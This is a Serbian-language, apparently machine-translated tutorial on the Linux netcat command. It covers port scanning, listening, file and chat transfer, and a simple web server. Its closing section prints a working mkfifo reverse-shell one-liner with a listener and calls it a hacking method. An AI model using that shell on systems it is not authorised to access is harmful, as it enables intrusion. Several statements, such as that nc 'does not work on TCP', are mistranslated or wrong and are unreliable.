Начини плаћања Abuse

Чему служи НЦ команда у Линуку?

29.08.2024, 02:19

Команда netcat је потребна за пренос и пријем података помоћу ТЦП и УДП протокола. Нема велики скуп функција, али је довољан за проверу везе и једноставно отклањање грешака. Како комуницирати користећи ТЦП протокол? Ово питање постављају многи корисници. У овом чланку ћемо одговорити на ово питање, а такође ћемо показати примере примене команде у стварном животу.

Шта тим пружа?

Команда netcat (или nc ) је моћан алат за рад са мрежним везама. Често га користе системски администратори и програмери за различите задатке. Ево главних карактеристика и могућности netcat :

  1. Креирање ТЦП/УДП веза: омогућава вам да успоставите везе са удаљеним хостовима користећи ТЦП и УДП протоколе.
  2. Слушање порта: Може се користити као сервер за слушање долазних веза на одређеном порту
  3. Пренос података: пренос података између рачунара преко мреже. Ово може бити корисно за пренос датотека или размену порука.
  4. Отклањање грешака у мрежним апликацијама: Користи се за тестирање и отклањање грешака у мрежним услугама, омогућавајући слање и примање произвољних података.
  5. Креирање једноставних ћаскања: можете поставити једноставну текстуалну кореспонденцију између два система
  6. Скенирање портова: може се користити за проверу отворених портова на удаљеним хостовима
  7. Тунелирање: Омогућава вам да креирате тунеле за преусмеравање саобраћаја кроз друге портове или хостове
  8. Рад са прокси серверима: може се користити за рад са прокси серверима и обављање различитих мрежних задатака.

netcat је свестран алат који се може користити у различитим сценаријима, од једноставне размене порука до сложених мрежних операција.

Опције

Прво, погледајмо синтаксу и оне најпопуларније:

  • -6 – користити ИПв6 протокол. Подразумевано је -4 и ИПв4 респективно;
  • -h – приказати помоћ са листом доступних параметара;
  • -i - кашњење – додајте кашњење између линија за слање или портова за скенирање. Подешавање у секундама;
  • -l – режим слушања. Користи се за означавање порта;
  • -N – затварање везе када се достигне крај датотеке приликом слања;
  • -n – Радите са ИП адресама директно, без коришћења ДНС-а, такође онемогућите претрагу портова;
  • -P - корисничко_име – наведите корисничко име за повезивање са проксијем;
  • -x - адреса:порт – наведите адресу и порт за повезивање са проксијем;
  • -p - порт – наведите број порта. У већини случајева, порт се чита без навођења параметра;
  • -U – користити утичницу УНИКС домена (за међупроцесну комуникацију);
  • -u – користи УДП протокол, ТЦП се користи подразумевано;
  • -v – опширни начин. Користи се приликом скенирања;
  • -W број_пакета – затварање везе након пријема одређеног броја пакета;
  • -w тајмер – омогући тајмер да ограничи време везе. Подешавање у секундама;
  • -z – онемогући слање података. Користи се приликом скенирања.

Команда изгледа овако (параметри адресни порт):

 $ nc

Затим ћемо причати о томе како користити команду.

Провера порта

Верификација је главна употреба netcat . Требало би да користите два параметра -vz , наведите адресу и порт. Можете навести опсег адреса, али у овом случају је боље филтрирати само отворене портове помоћу команде grep . Хајде да проверимо портове адресе локалне мреже:

 $ nc -vz 192.168.31.247 8080
 $ nc -vz 192.168.31.247 1-1000 2>&1 | grep succeeded

Скенирајмо УДП портове на исти начин, додајући параметар -u :

 $ nc -vzu 192.168.31.247 1-1000 2>&1 | grep succeeded

У овом случају, морате знати главну разлику између ТЦП-а и УДП-а. Дакле, у УДП портови су увек доступни.

Слушајући порт

Параметар -l се користи за слушање порта. Ово је често довољно, али можете омогућити опширни режим:

 $ nc -nlv 8080

Запамтите да када користите ТЦП протокол, порт мора бити слободан, иначе ће се појавити грешка Већ у употреби. Међутим, обични корисници не могу користити све портове, на пример, порт 80 (ХТТП), највероватније ће га заузети други процес, а такође ће захтевати и права суперкорисника.

Дељење датотека

Корисна способност тима је размена података. Једноставан пример је текстуално ћаскање. Да бисте започели ћаскање на једном рачунару, покрените услужни програм у режиму слушања порта:

 $ nc -lp 8080

На другом рачунару, мораћете да наведете адресу првог рачунара и исти порт. Такође не заборавите да то проверите порт отворен:

 $ nc 0.0.0.0 8080

На овај начин можете слати и примати поруке. То јест, команда је намењена за размену датотека. Принцип је исти, осим што је потребно да преусмерите излаз у датотеку, односно paste.txt :

 $ nc -l 8080 > paste.txt

На другом рачунару, улаз ће бити датотека copy.txt . Било би добро да користите параметар -N да бисте затворили везу након преноса датотеке:

 $ nc -N 0.0.0.0 8080 < copy.txt

Да бисте пренели датотеке, важно је пратити редослед, прво отворити слушање и тек онда послати датотеку. Команда нц ради, али је далеко од најбољег начина за пренос датотека. Постоје ефикаснији и кориснији алати за решавање овог проблема.

Једноставан веб сервер

Пошто НЦ команда не ради на ТЦП протоколу, дозвољава и слање и примање ХТТП захтева. Стога, услужни програм може постати једноставан веб сервер. Да, ништа лукавије од странице не може се урадити на овај начин, али операција практично не траје, а још један плус је што не морате ништа додатно да инсталирате.

Користећи пример, генерисаћемо ХТТП одговор са датотеком index.html . Ако говоримо о самом нп-у, онда би било добро да подесите тајмер са параметром -w 1 да прекине везу ако претраживач то не учини:

$ while true; do echo -e "HTTP/1.1 200 OKnn$(cat index.html)" | nc -l -w 1 -p 8080; done

Да бисте добили податке са веб локације, можете формулисати захтев и послати га на адресу и порт за саветовање. Али овај метод је прилично компликован; боље је користити одговарајућу команду ЦУРЛ.

Ремоте схелл

На основу горе наведених примера, не би било могуће доћи до закључка да команда омогућава да организујете даљински приступ љусци рачунара. Раније је НЦ услужни програм имао неколико опција за отварање приступа терминалу. Параметар -e је одавно уклоњен из услужног програма, тако да више неће бити лак приступ терминалу. Безбедност саме апликације је постала већа, али и даље може да ради у комбинацији са другима.

Хајде да покажемо везу помоћу мкфифо именоване цеви. Пре свега, хајде да почнемо да слушамо порт на рачунару на коме ћемо добити приступ:

 $ nc -lvnp 8080

Пређимо директно на команду за отварање терминала. Прво, избришемо стару именовану цев ( rm /tmp/f ), креирамо нову на њеном месту ( mkfifo /tmp/f ), прочитамо њен садржај ( cat /tmp/f ) и пошаљемо команду љуске на њен излаз ( sh -i 2>&1 ). Након овога, све што остаје је да покренемо нц са излазом у нашу именовану цев ( nc 0.0.0.0 8080 >/tmp/f ):

 $ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc 0.0.0.0 8080 >/tmp/f

Имајте на уму да је ово једна од метода хаковања, али може бити корисна у случају проблема са ssh . Да бисте спречили напад, конфигуришите безбедносну политику и заштитни зид.